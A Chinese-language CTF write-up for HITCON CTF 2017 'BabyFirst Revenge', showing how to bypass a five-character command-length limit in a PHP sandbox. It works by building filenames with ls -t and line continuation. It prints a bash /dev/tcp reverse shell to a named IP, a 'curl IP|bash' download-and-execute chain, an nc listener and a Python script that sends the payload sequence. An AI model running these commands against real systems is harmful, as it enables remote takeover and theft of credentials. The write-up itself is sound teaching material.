命令执行长度限制 - 反弹shell(HITCONCTF 2017 - BabyFirst Revenge)
代码如下:
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
前提知识:
通过shell命令>a
来创建一个新的空文件
ls>a 将当前目录下的文件(目录)写进a文件,ls>>a 是向a中追加内容
shell中'\'可以连接语句,组成完整的命令
ls -t>a 以时间顺序(时间近的排序靠前)排序文件(目录),并写入a中
构造shell(echo 1)失败
将ls换成dir就没有换行的显示了,但是命令还是无法执行
经验证不是命名空格的问题,是shell中不存在换行符的问题,换成ls命令也一样
修正:
补充:
在shell中输入*号,会将目录第一个文件当做命令符,后面的文件当做参数
例:等同于命令id root
curl命令的分隔
需要发现的是,不符合shell语法的字符并不会截断shell命令的执行,比如下面的a
剩下来我们只需把shell文件放到自己的服务器上,利用curl命令解析并存入本地的文件,最后执行获得权限
反弹shell
以bash shell为例,写入服务器的index.php网页
bash -i >& /dev/tcp/81.68.177.230/12345 0>&1
题目所在主机通过
curl 81.68.177.230|bash
来得到shell,之后追加写入本地文件执行
话是这么说,但是直接把shell语句写入php中,会出现解析错误,当然也可能是我配置了https证书不认可,无法建立连接的问题
网上另一种方法是把shell放进txt文件中,且重新用docker做个apache环境
curl ip/shell.txt|bash
但是注意'/'在linux中是个特殊的符号,不能作为文件名存在,所以只能连在一起用,不能断开
最后还是乖乖重新配个环境试试
首先公网主机监听指定端口,然后执行bash命令向公网指定端口发送连接请求
监听:
nc -lvnp 12345
反弹shell成功(用本地kali尝试的)(这里演示时已经停止监听了,所以拒绝连接)
接下来只要(题目所在主机)执行shell就行了(下面内容因ip而异)
#generate `ls -t>g` to file "_"
http://host/?cmd=>ls\ http://host/?cmd=ls>_
此时_文件中有: ls\
http://host/?cmd=>\ \ http://host/?cmd=>-t\ http://host/?cmd=>\>g http://host/?cmd=ls>>_
追加了内容后有:
ls\
\ \
-t\
\>g
#generate `curl 81.68.177.230|bash` to file "g" http://host/?cmd=>sh http://host/?cmd=>ba\ http://host/?cmd=>\|\ http://host/?cmd=>30\ http://host/?cmd=>2\ http://host/?cmd=>7.\ http://host/?cmd=>17\ http://host/?cmd=>8.\ http://host/?cmd=>6\ http://host/?cmd=>1.\ http://host/?cmd=>8\ http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=>sh _
向g中追加curl命令
#got shell http://host/?cmd=sh g
参考的大佬脚本:
import requests from time import sleep from urllib.parse import quote payload = [ # generate `ls -t>g` file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generate `curl orange.tw.tw|python` # generate `curl 81.68.177.230:8000/shell.txt|bash` '>sh\ ', '>ba\\', '>\|\\', '>00\\', '>80\\', '>\:\\', '>30\\', '>2\\', '>7.\\', '>17\\', '>8.\\', '>6\\', '>1.\\', '>8\\', '>\ \\', '>rl\\', '>cu\\', # exec 'sh _', 'sh g', ] r = requests.get('http://www.youkilearning.top:8028/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://www.youkilearning.top:8028/?cmd=' + quote(i)) print(i) sleep(0.2)
反弹得到shell后,在/home目录下找到数据库登陆用户名和密码
这bash shell连数据库时用的就挺难受的,登陆时-u和-p不能有空格,只能在命令行输入密码查看
经常卡住要exit,重新登陆数据库才能继续
得到flag
参考:https://zoresmile.cn/linux/2020/04/927.html
参考:https://blog.csdn.net/u011377996/article/details/82464383
参考官方WP:https://blog.csdn.net/bajinsheng/article/details/78703249